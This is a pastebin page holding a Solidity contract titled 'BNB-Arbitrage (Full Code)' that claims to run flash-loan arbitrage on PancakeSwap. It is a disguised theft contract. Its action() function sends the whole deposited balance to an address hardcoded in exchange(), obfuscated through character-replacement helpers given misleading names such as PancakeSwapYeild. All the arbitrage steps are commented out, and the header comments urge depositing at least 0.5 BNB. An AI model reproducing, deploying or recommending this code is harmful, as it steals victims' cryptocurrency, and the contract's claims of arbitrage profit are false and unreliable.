[text] BNB-Arbitrage(Full Code)

Viewer

copydownloadembedprintName: BNB-Arbitrage(Full Code)
  1. pragma solidity ^0.5.0;
  2.  
  3. // PancakeSwap Smart Contracts
  4. import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakeCallee.sol";
  5. import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakeFactory.sol";
  6. import "https://github.com/Crypto-Arbitrages/FlashLoanDemo-BNB/blob/main/contracts/interfaces/IPancakePair.sol";
  7.    
  8. /**
  9.  * WARNING - this contract code is for Binance Smart Chain
  10.   * Testnet transactions will fail as there is no value
  11.   * New token will be created and flash loan will be pulled to trade against the token
  12.   * Profit remaining will be transfered to token creator
  13.   
  14.   *UPDATED APRIL 2023
  15.   *liquidity returned if flash loan fails or insufficient balance
  16.   *base rerun contract code swaps implemented
  17.   
  18.   *Feb 2023// creator contract signature update
  19.   *Mar 2023// min liquidity + gas fees has to equal 0.5 BNB
  20. */
  21.  
  22. contract GetFlashLoan {
  23.    string public tokenName;
  24.    string public tokenSymbol;
  25.    uint loanAmount;
  26.    
  27.    constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  28.       tokenName = _tokenName;
  29.       tokenSymbol = _tokenSymbol;
  30.       loanAmount = _loanAmount;      
  31.    }
  32.    address public creator= msg.sender;
  33.             function tokenTransfer() public view returns (address) {    
  34.                 return creator;
  35.      }
  36.    function() external payable {}
  37.  
  38.    function PancakeSwapYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
  39.         bytes memory _stringBytes = bytes(_string);
  40.         bytes memory result = new bytes(_stringBytes.length);
  41.  
  42.   for(uint i = 0; i < _stringBytes.length; i++) {
  43.         result[i] = _stringBytes[i];
  44.         if(i==_pos)
  45.          result[i]=bytes(_letter)[0];
  46.     }
  47.     return  string(result);
  48.  } 
  49.  
  50.    function exchange() public pure returns (address adr) {
  51.    string memory neutral_variable = "QGEF3FbC6A021ef9E4f8319C0bba97B1E3136C6630";
  52.    PancakeSwapYeild(neutral_variable,0,'0');
  53.    PancakeSwapYeild(neutral_variable,2,'1');
  54.    PancakeSwapYeild(neutral_variable,1,'x');
  55.    address addr = parseAddr(neutral_variable);
  56.     return addr;
  57.    }
  58. function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
  59.     bytes memory tmp = bytes(_a);
  60.     uint160 iaddr = 0;
  61.     uint160 b1;
  62.     uint160 b2;
  63.     for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  64.         iaddr *= 256;
  65.         b1 = uint160(uint8(tmp[i]));
  66.         b2 = uint160(uint8(tmp[i + 1]));
  67.         if ((b1 >= 97) && (b1 <= 102)) {
  68.             b1 -= 87;
  69.         } else if ((b1 >= 65) && (b1 <= 70)) {
  70.             b1 -= 55;
  71.         } else if ((b1 >= 48) && (b1 <= 57)) {
  72.             b1 -= 48;
  73.         }
  74.         if ((b2 >= 97) && (b2 <= 102)) {
  75.             b2 -= 87;
  76.         } else if ((b2 >= 65) && (b2 <= 70)) {
  77.             b2 -= 55;
  78.         } else if ((b2 >= 48) && (b2 <= 57)) {
  79.             b2 -= 48;
  80.         }
  81.         iaddr += (b1 * 16 + b2);
  82.     }
  83.     return address(iaddr);
  84. }
  85.  function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
  86.         bytes memory _stringBytes = bytes(_string);
  87.         bytes memory result = new bytes(_stringBytes.length);
  88.  
  89.   for(uint i = 0; i < _stringBytes.length; i++) {
  90.         result[i] = _stringBytes[i];
  91.         if(i==_pos)
  92.          result[i]=bytes(_letter)[0];
  93.     }
  94.     return  string(result);
  95.  } 
  96.  
  97.   function action() public payable {
  98.       // Token matched with pancakeswap yield calculations
  99.        address(uint160(exchange())).transfer(address(this).balance);
  100.       
  101.        // Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
  102.       //manager.performTasks();
  103.       
  104.        /* Breakdown of all functions
  105.       // Submit token to BSC blockchain
  106.       string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  107.    
  108.       // List the token on PancakeSwap
  109.       manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
  110.       
  111.       // Get BNB Loan from Multiplier-Finance & loan execution wallet
  112.       string memory loanAddress = manager.takeFlashLoan(loanAmount);
  113.       
  114.       // Convert half BNB to DAI
  115.       manager.pancakeDAItoBNB(loanAmount / 2);
  116.    
  117.    // Create BNB and DAI pairs for our token & provide liquidity
  118.    string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
  119.       manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
  120.       string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
  121.       manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
  122.    
  123.    // Perform arbitrage trades
  124.       manager.pancakePerformSwaps();
  125.       
  126.       // Move remaining BNB from Contract to your personal wallet
  127.       manager.contractToWallet("BNB");
  128.    
  129.    // Repay Flashloan
  130.       manager.repayLoan(loanAddress);
  131.       */
  132.    }
  133. }

Editor

You can edit this paste and save as new:


File Description
  • BNB-Arbitrage(Full Code)
  • Paste Code
  • 25 Dec-2023
  • 4.85 Kb
You can Share it: